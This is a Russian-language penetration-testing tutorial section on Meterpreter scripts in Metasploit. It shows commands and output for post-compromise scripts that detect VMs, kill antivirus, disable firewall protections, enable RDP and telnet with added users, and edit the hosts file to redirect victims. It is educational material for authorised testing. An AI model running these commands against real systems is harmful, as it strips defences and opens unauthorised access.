Создание сценариев для Meterpreter.

Одним из наиболее значимых преимуществ Meterpreter является универсальность и простота добавления дополнительных функций. Это достигается благодаря специальной среде по написанию сценариев для Metasploit. Этот раздел будет охватывать автоматизацию процессов в сессии Meterpreter, используя специализированную среду по написанию сценариев под различные задачи.
Перед «погружением» в раздел следует рассмотреть еще несколько замечаний. Как и во всем Metasploit framework, мы будем иметь дело со сценариями, написанными на Ruby, которые расположены в главном каталоге Metasploit — scripts/meterpreter. Если вы не знакомы с языком программирования Ruby, возможно вам стоит посетить обучающий ресурс http://www.rubycentral.com/book/ и прочесть книгу "Programming Ruby".

Перед тем как начать, пожалуйста уделите несколько минут на рассмотрение текущего репозитория Subversion сценариев Meterpreter на http://dev.metasploit.com/redmine/projects/framework/repository/show/scripts/meterpreter. Этот, достаточно большой, ресурс можно использовать в качестве заимствования кода, который может быть полезен для вас, а заодно воочию увидеть как другие решают проблемы с кодом.

Скрипты в Meterpreter.

В Metasploit входит множество скриптов, которые не раз помогут вам с Metasploit Framework. Эти сценарии, как правило, написаны сторонними разработчиками и приняты в репозиторий Subversion. Мы «пробежимся» по некоторым из них и опишем как они смогут помочь в испытаниях на проникновение.
Скрипты, упомянутых выше, предназначенные для использования с оболочкой Meterpreter после удачной компрометации системы. После того как вы получили доступ к Meterpreter сессии на удаленной системе вы можете начинать использовать эти сценарии в соответствии с вашими целями.
Сценарий 'checkvm', как можно видеть из названия, проверяет, является ли эксплуатируемая система виртуальной машиной. Эта информация может быть очень полезной.

meterpreter > run checkvm  
 
 [*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........
 [*] This is a VMware Workstation/Fusion Virtual Machine

Сценарий 'getcountermeasure' проверяет настройки безопасности в системе жертвы и может отключить другие меры безопасности, такие как антивирус, Firewall, и многое другое.

meterpreter > run getcountermeasure 
 
 [*] Running Getcountermeasure on the target... 
 [*] Checking for contermeasures...
 [*] Getting Windows Built in Firewall configuration...
 [*]    
 [*]     Domain profile configuration:
 [*]     -------------------------------------------------------------------
 [*]     Operational mode                  = Disable
 [*]     Exception mode                    = Enable
 [*]    
 [*]     Standard profile configuration:
 [*]     -------------------------------------------------------------------
 [*]     Operational mode                  = Disable
 [*]     Exception mode                    = Enable
 [*]    
 [*]     Local Area Connection 6 firewall configuration:
 [*]     -------------------------------------------------------------------
 [*]     Operational mode                  = Disable
 [*]    
 [*] Checking DEP Support Policy...

Сценарий 'getgui' используется для включения RDP на удаленной системе, в том случае, если он отключен.

meterpreter > run getgui 
 
 Windows Remote Desktop Enabler Meterpreter Script
 Usage: getgui -u  -p
 
 
 OPTIONS:
 
 -e   Enable RDP only.
 -h   Help menu.
 -p   The Password of the user to add.
 -u   The Username of the user to add.
 
 meterpreter > run getgui -e
 
 [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
 [*] Carlos Perez carlos_perez@darkoperator.com
 [*] Enabling Remote Desktop
 [*] RDP is already enabled
 [*] Setting Terminal Services service startup mode
 [*] Terminal Services service is already set to auto
 [*] Opening port in local firewall if necessary

Скрипт 'gettelnet' включает telnet на удаленной системе, если он отключен.

meterpreter > run gettelnet 
 
 Windows Telnet Server Enabler Meterpreter Script
 Usage: gettelnet -u  -p
 
 
 OPTIONS:
 
 -e   Enable Telnet Server only.
 -h   Help menu.
 -p   The Password of the user to add.
 -u   The Username of the user to add.
 
 meterpreter > run gettelnet -e
 
 [*] Windows Telnet Server Enabler Meterpreter Script
 [*] Setting Telnet Server Services service startup mode
 [*] The Telnet Server Services service is not set to auto, changing it to auto ...
 [*] Opening port in local firewall if necessary

Сценарий 'killav' может быть использован для отключения большинства антивирусных программ, работающих в качестве службы на целевой системе.

 meterpreter > run killav 
 
 [*] Killing Antivirus services on the target...
 [*] Killing off cmd.exe...

Сценарий 'get_local_subnets' используется для получения маски подсети жертвы.

meterpreter > run get_local_subnets 
 
 Local subnet: 10.211.55.0/255.255.255.0

Сценарий 'hostsedit' служит для добавления узлов в файл hosts в Windows системе. Поскольку Windows для разрешения адресов проверяет в первую очередь файл host, а уже потом делает запрос к DNS серверу, модификация этого файла может быть полезной для перенаправления пользователя на «фейковый» адрес. Представление записей происходит, по одной в каждой строке.

meterpreter > run hostsedit 
 
 OPTIONS:
 
 -e   Host entry in the format of IP,Hostname.
 -h   Help Options.
 -l   Text file with list of entries in the format of IP,Hostname. One per line.
 
 Example:
 
 run hostsedit -e 127.0.0.1,google.com
 run hostsedit -l /tmp/fakednsentries.txt